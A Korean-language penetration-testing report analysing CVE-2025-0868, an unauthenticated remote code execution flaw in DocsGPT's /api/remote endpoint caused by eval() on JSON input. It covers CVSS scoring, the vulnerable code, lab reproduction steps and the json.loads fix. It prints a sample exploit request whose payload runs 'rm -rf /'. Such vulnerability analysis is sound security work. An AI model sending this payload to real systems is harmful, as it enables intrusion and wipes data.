침투 테스트 프로젝트 보고서: CVE-2025-0868 (DocsGPT RCE via JSON Eval) 악용

1. 소개

2025년 2월 20일, 오픈소스 DocsGPT 라이브러리에서 JSON 페이로드를 파싱할 때 eval()을 안전하지 않게 사용하여 발생하는 심각한 원격 코드 실행(RCE) 취약점(CVE-2025-0868)이 공개되었습니다.

주요 세부 사항:

• DocsGPT 버전 0.8.1 ~ 0.12.0에 영향
• CVSS 4.0 점수 9.3 (CRITICAL)
• 인증되지 않은, 네트워크 접근 가능한 코드 주입 허용
• 기밀성, 무결성, 가용성에 대한 완전한 영향

CVE-2025-0868 정보

이 취약점은 공격자가 /api/remote 엔드포인트를 통해 임의의 Python 코드를 실행할 수 있도록 합니다. DocsGPT는 GPT 모델을 사용하여 프로젝트 문서를 질의할 수 있는 오픈소스 생성형 AI 도구입니다.

프로젝트 목표

• 취약점의 기술적 배경 분석
• 통제된 실습 환경에서 재현
• 악용 영향 시연
• 완화 전략 제안
• 결론 제시

2. 취약점 분석

2.1 취약점 개요

2.2 CVSS 4.0 세부 분석

벡터: AV:N/AC:L/PR:N/UI:N/VC:H/VI:H/VA:H
기본 점수: 9.3 (CRITICAL)

악용 가능성 지표:

• 공격 벡터(AV): 네트워크(N)
• 공격 복잡성(AC): 낮음(L)
• 필요 권한(PR): 없음(N)
• 사용자 상호작용(UI): 없음(N)

영향 지표:

• 기밀성(VC): 높음
• 무결성(VI): 높음
• 가용성(VA): 높음

2.3 기술 심층 분석

취약점은 reddit_loader.py에서 사용자 입력이 안전하지 않은 eval() 함수를 사용하여 처리되는 데 있습니다:

def load_data(self, inputs):
    data = eval(inputs)  # 취약한 코드
    client_id = data.get("client_id")
    client_secret = data.get("client_secret")
    user_agent = data.get("user_agent")

이로 인해 공격자는 JSON 필드 내에 악성 Python 코드를 실행할 수 있습니다: POST /api/remote HTTP/1.1 Content-Type: application/json

{"data": "import('os').system('rm -rf /')"}

DocsGPT에서 CVE-2025-0868 악용

3. 악용 과정

3.1 실습 환경 설정

이 취약점을 악용하기 위해 취약한 환경과 안전한 작업 공간을 재현했습니다:

• 가상 머신: Kali Linux 2024
• DocsGPT 버전: 0.12.0 (취약한 버전: 0.8.0 - 0.12.0)
• 사용 도구: Python, Docker

3.2 악용 코드 개발

/api/remote 엔드포인트에 악성 페이로드를 전송하여 eval()의 안전하지 않은 사용을 악용하는 원격 코드 실행(RCE)을 수행하는 Python 스크립트를 개발했습니다.

주요 악용 단계

1. 정찰: HTTP 헤더를 통해 DocsGPT 버전 식별.
2. 취약점 정의: /api/remote 엔드포인트의 RCE.
3. 페이로드 제작: Python 코드 주입.
4. 악용: /api/remote에 악성 JSON 전송.

취약한 요청 예시

POST /api/remote HTTP/1.1
Content-Type: application/json

{"data": "__import__('os').system('rm -rf /')"}

4. 대응 방안 및 완화

4.1 즉시 수정

DocsGPT v0.12.1 이상 버전으로 업데이트

4.2 코드 수정

eval()을 json.loads()로 교체.

링크:https://github.com/arc53/DocsGPT/blob/df9d432d29c1bbdf28abb3d35d129060b1964dd3/applicatio n/parser/remote/reddit_loader.py#L9